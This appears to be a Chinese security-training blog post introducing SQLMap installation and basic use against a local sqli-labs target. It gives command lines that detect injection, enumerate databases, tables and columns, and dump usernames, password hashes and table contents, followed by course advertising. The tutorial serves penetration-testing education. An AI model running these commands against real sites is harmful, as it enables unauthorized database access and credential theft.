首页 > 数据库 >最新SQLMap安装与入门技术

最新SQLMap安装与入门技术

时间:2023-12-27 16:14:16浏览次数:55  
标签:SQLMap sqlmap 入门 数据库 py 命令 安装 注入

SQLMap详解

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞。SQLMap内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下五种独特的SQL注入技术。

(1)基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。

(2)基于时间的盲注,即不能根据页面返回的内容判断任何信息,要通过条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回页面中。

(4)联合查询注入,在可以使用Union的情况下的注入。

(5)堆查询注入,可以同时执行多条语句的注入。

SQLMap的强大功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

 

SQLMap的安装

SQLMap的安装需要Python环境(支持Python 2.6、Python 2.7、Python 3.x),本节使用的是Python 3,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中(或者在安装时,勾选“Add Python to environment variables”选项,自动将Python加入环境变量),如图3-1所示。

 

 

图3-1  

 

从SQLMap官网下载最新版的SQLMap,打开cmd,输入命令“python sqlmap.py”,工具即可正常运行,如图3-2所示。

  

 

图3-2

 





SQLMap入门

1.判断是否存在注入

假设目标注入点是http://10.211.55.6/Less-1/?id=1,用如下命令判断其是否存在注入:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1

结果显示存在注入,如图3-3所示。

  

图3-3  

 

注意,当注入点后面的参数大于等于两个时,需要加双引号,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1&uid=2"

运行上述命令后,Terminal终端上会“爆出”一大段信息,如图3-4所示。信息中有三处需要选择的地方:第一处的意思为检测到数据库可能是MySQL,是否跳过并检测其他数据库;第二处的意思是在“level1、risk1”的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数ID存在漏洞,是否继续检测其他参数,一般默认按回车键即可继续检测。

    

 

图3-4

 

2.判断文本中的请求是否存在注入

从文件中加载HTTP请求,SQLMap可以从一个.txt文件中获取HTTP请求,这样就可以不设置其他参数(如Cookie、POST数据等)。.txt文件中的内容为Web数据包,如图3-5所示。

 

 

 图3-5

 

运行如下命令,判断是否存在注入:

python sqlmap.py –r 1.txt

运行后的结果如图3-6所示,参数“-r ”一般在存在Cookie注入时使用。

 

 

图3-6  

 

3.查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,命令如下:

python sqlmap.py -u http://10.211.55.6/Less-1/?id=1 --dbs

如果当前用户有权限读取包含所有数据库列表信息的表,则使用该命令即可列出所有数据库,如图3-7所示。

 

 

 图3-7  

 

从图3-7中可以看到,查询出了5个数据库。

继续注入时,将参数“--dbs”缩写成“-D xxx”,意思是在xxx数据库中继续查询其他数据。

 

4.获取数据库中的表名

该命令的作用是在查询完数据库后,查询指定数据库中所有的表名,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security --tables

如果不在该命令中加入参数“-D”来指定某一个具体的数据库,则SQLMap会列出数据库中所有库的表,如图3-8所示。

 

 

图3-8  

 

从图3-8中可以看出security数据库拥有的4个表名。继续注入时,将参数“--tables”缩写成“-T”,意思是在某个表中继续查询。

 

5.获取表中的字段名

该命令的作用是在查询完表名后,查询该表中所有的字段名,命令如下:

python sqlmap.py -u "http://10.211.55.6/Less-1/?id=1" -D security -T users --columns

该命令的运行结果如图3-9所示。

 

 

 

图3-9  

 

从图3-9中可以看出,security数据库中的users表中一共有3个字段。在后续的注入中,将参数“--columns”缩写成“-C”,意思是获取指定列的数据。

 

6.获取字段内容

该命令的作用是在查询完字段名之后,获取该字段中具体的数据信息,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" –D security –T users –C username,password  --dump

这里需要下载的数据是security数据库里users表中username和password的值,如图3-10所示。

 

 

 

图3-10  

 

7.获取数据库的所有用户

该命令的作用是列出数据库的所有用户。在当前用户有权限读取包含所有用户的表时,使用该命令就可以列出所有管理用户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --users

可以看出,当前用户账号是root,如图3-11所示。

 

 

图3-11  

 

8.获取数据库用户的密码

该命令的作用是列出数据库用户的密码。如果当前用户有读取用户密码的权限,则SQLMap会先列举出用户,然后列出Hash,并尝试破解,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --passwords

从图3-12中可以看出,密码采用MySQL 5加密方式,可以在解密网站中自行解密。

 

 

图3-12  

 

9.获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-db

从图3-13中可以看出,数据库是security。

  

 

图3-13  

 

10.获取当前网站数据库的用户名称

使用该命令可以列出当前使用网站数据库的用户,命令如下:

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-user

从图3-14中可以看出,用户是root。

 

图3-14  

 

 

出当前使用网站数据库的用户,命令如下:

 

python sqlmap.py –u "http://10.211.55.6/Less-1/?id=1" --current-user

 

从图3-14中可以看出,用户是root。

 

 

Ms08067安全实验室专注于网络安全知识的普及和培训,是专业的“图书出版+培训”的网络安全在线教育平台,专注于网络安全领域中高端人才培养。

平台已开设Web安全零基础就业,Web高级安全攻防进阶,红队实战攻防特训,Java代码安全审计,恶意代码分析与免杀实战,CTF基础实战特训营,网络安全应急响应,安全工具开发,AI与网络安全等系统培训课程。实验室出版安全图书《Web安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》、《Python安全攻防:渗透测试实战指南》、《Java代码审计:入门篇》等。

 

扫描客服微信 获取更多课件+学习资料

标签:SQLMap,sqlmap,入门,数据库,py,命令,安装,注入
From: https://www.cnblogs.com/ms08067/p/17930758.html

相关文章

  • Hive安装部署
    引言ApacheHive是一款建立在Hadoop生态系统之上的数据仓库工具,它提供了一种SQL类似的查询语言(HiveQL)来查询和分析存储在Hadoop分布式文件系统(HDFS)中的大规模数据。Hive的设计目标是让用户可以在大规模数据集上执行复杂的查询,而无需深入了解MapReduce编程。在这篇文章......
  • 7、代理池所需相关库安装
    利用代理解决爬虫目标网站封ip的问题,可以使用免费的代理或者付费的代理ip,对于不可用的ip无法及时识别,可以通过搭建ip代理池提高爬虫的工作效率。1、首先所需redis库安装,redis是基于内存的高效的非关系型数据库。github下载地址:版本3.2.100·微软存档/Redis·GitHub的,切后台查......
  • 麒麟下mysql安装及使用
    1、进入软件商店--搜索mysql--安装mysql服务器和mysql工作台,重新启动系统;2、检测mysql版本:显示mysqlver8.0.33终端命令:mysql--version 3、启动mysql服务进程终端命令:sudosystemctlmysql4、查看服务状态终端命令:sudosystemctlstatusmysql按esc--:q退出vim返回终......
  • adb命令安装
    下载adb工具下载地址:https://pan.baidu.com/s/1mgGkNZM下载后是个压缩包,解压后一共有5个文件,如下图:这里我都是解压到当前文件夹了  ###查看adb工具是否安装成功直接在安装路径中点开cmd.exe,输入adbversion,出现如下的版本号就算是安装成功了 1.win+R,输入cmd回车2.......
  • k8s 安装kubesphere3.4.1 多次安装报错 Error from server (InternalError): Internal
    failed:[localhost](item={'ns':'kubesphere-system','kind':'users.iam.kubesphere.io','resource':'admin','release':'ks-core'})=>{"ansible_loop_var":"......
  • 编译安装openssl-1.1.1和openssh-9.4
    1、安装openssl-1.1.1先处理下opensll的版本,以免编译安装Openssh环境异常:yumremoveopensslcd/optwgethttps://www.openssl.org/source/openssl-1.1.1n.tar.gztar-zxvfopenssl-1.1.1n.tar.gzcdopenssl-1.1.1n/./config--prefix=/opt/openssl#指定OpenSSL的......
  • centos 7.9 安装 python 3.10.5 和 openssl 3.0.12
    centos编译安装python和openssl安装环境:centos7.9:python3.10.5和openssl3.0.12centos6.10:python3.10.5和openssl1.1.1两个环境都能安装成功,可以正常使用。安装openssl下载地址下载后解压,进入到解压目录执行:./Configure--prefix=/usr/local/openssl3.......
  • 有了这篇 Kubectl 命令总结,5分钟优雅入门 K8s!
    kubectl常用命令指南Kubectl命令是操作kubernetes集群的最直接的方式,特别是运维人员,需要对这些命令有一个详细的掌握Kubectl自动补全#setupautocompleteinbash,bash-completionpackageshouldbeinstalledfirst.$source<(kubectlcompletionbash)#setupautoc......
  • 01-Mysql介绍及安装
    关系型数据库的特点二维表典型产品Oracle传统企业,MySQL是互联网企业数据存取是通过SQL最大特点,数据安全性方面强(ACID)•NoSQL:非关系型数据库(NotonlySQL)不是否定关系型数据库,做关系型数据库的的补充想做老大,先学会做老二•NoSQL特性总览–不是否定......
  • 在windows下安装mysql 8.1
    1、下载并解压官网下载mysql8,https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.11-winx64.zip解压到D:\mysql,以下称为根目录2、编写配置文件在根目录下新建my.ini文件,配置以下内容[mysqld]#设置3306端口port=3306#设置mysql的安装目录,一定要与上面的安装路......